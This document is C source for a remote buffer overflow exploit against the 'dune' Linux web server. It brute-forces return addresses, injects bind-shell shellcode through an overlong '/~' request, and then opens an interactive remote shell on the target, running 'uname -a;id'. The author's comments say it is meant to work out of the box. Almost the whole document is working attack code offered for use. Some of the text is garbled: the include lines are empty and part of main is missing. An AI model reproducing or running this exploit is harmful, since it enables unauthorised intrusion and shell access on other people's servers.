/*[ dune[0.6.7+-]: remote buffer overflow exploit. ]* * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) * * * * dune is a httpd webserver for linux, which can * * be found at: * * http://www.freshmeat.net/projects/dune * * * * i originally made a proof of concept(broken) * * exploit for it a couple years ago. but, i * * decided to finally make a working exploit for * * it. probably the most easy-to-use exploit i've * * ever made. the brute force method will allow * * the exploit to work out of the box, on linux. * * * * this exploit exploits the "multiuser" feature of * * dune. the request sent will look like: * * "GET /~[48 bytes/overflow] [shellcode]\n\n" * * the shellcode is placed where "HTTP/?.?" would * * normally go. but, dune doesn't seem to care. * * if it is placed elsewhere alot of characters * * will get truncated/passed to different * * functions. * * * * one problem though. because of this: * * main.c:185:if(buffer[0]==EOF) exit(0); * * main.c:203:if(buffer[0]==EOF) exit(0); * * no 0xff's can be sent to the server, for this to * * work. but, i've made the exploit to work around * * the problem. * * * * note: dune does drop privileges(uid/gid), if * * started as root. but, does not initgroups() * * accordingly. * ****************************************************/ #include #include #include #include #include #include #include #include #include #include #include #define BASE_ADDR 0x08048001 /* start brute. */ #define END_ADDR 0x0804ffff /* end brute. */ #define TIMEOUT 15 /* connection timeout. */ static char x86_exec[]= /* modded from netric folk. */ "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89" "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52" "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; char *getbuf(unsigned long); void getshell(char *,unsigned short,unsigned long); void request_url(char *hostname,unsigned short port, unsigned long); void printe(char *,short); void sig_alarm(){printe("alarm/timeout hit",1);} int main(int argc,char **argv){ unsigned short port=80; /* default. */ unsigned short sport=7979; /* default. */ unsigned long ret=0; printf("[*] dune[0.6.7+-]: remote buffer overflow exp" "loit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fa" "kehalo)\n\n"); if(argc<2){ printf("[!] syntax: %s [port] [offset] [s" "hell port]\n\n",argv[0]); exit(1); } if(argc>2) port=atoi(argv[2]); if(argc>3) ret=atoi(argv[3]); if(argc>4) sport=atoi(argv[4]); /* check for 0x0 and 0xff, can't use them. */ if(((sport&0xff00)>>8)==0xff||(sport&0x00ff)==0xff|| !((sport&0xff00)>>8)||!(sport&0x00ff)){ printf("[!] shell port defined contains bad characte" "r(s), using default.\n"); sport=7979; /* back to default. */ } /* add port dealio. */ x86_exec[20]=(sport&0xff00)>>8; x86_exec[21]=(sport&0x00ff); printf(" target:%s:%d addresses:0x%.8x(+%ld)-0x%.8x" "\n\n",argv[1],port,BASE_ADDR,ret,END_ADDR); fprintf(stderr,"[. = 350 byte offset]: "); while((BASE_ADDR+ret)h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ fprintf(stderr,"."); close(sock); return; } alarm(0); fprintf(stderr,"(hit shellcode at 0x%.8x(+%ld))\n\n", BASE_ADDR,offset); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id\n",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1){ printe("getshell(): select() failed",0); return; } if(FD_ISSET(0,&fds)){ if((r=read(0,buf,sizeof(buf)))<1){ printe("getshell(): read() failed",0); return; } if(write(sock,buf,r)!=r){ printe("getshell(): write() failed",0); return; } } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,sizeof(buf)))<1) exit(0); write(1,buf,r); } } close(sock); return; } void request_url(char *hostname,unsigned short port, unsigned long ret){ int sock; char *ptr; struct hostent *t; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(port); if((s.sin_addr.s_addr=inet_addr(hostname))){ if(!(t=gethostbyname(hostname))) printe("couldn't resolve hostname",1); memcpy((char*)&s.sin_addr,(char*)t->h_addr, sizeof(s.sin_addr)); } signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("connection failed",1); alarm(0); ptr=getbuf(ret); write(sock,ptr,strlen(ptr)); close(sock); return; } void printe(char *err,short e){ fprintf(stderr,"(error: %s)\n\n",err); if(e) exit(1); return; }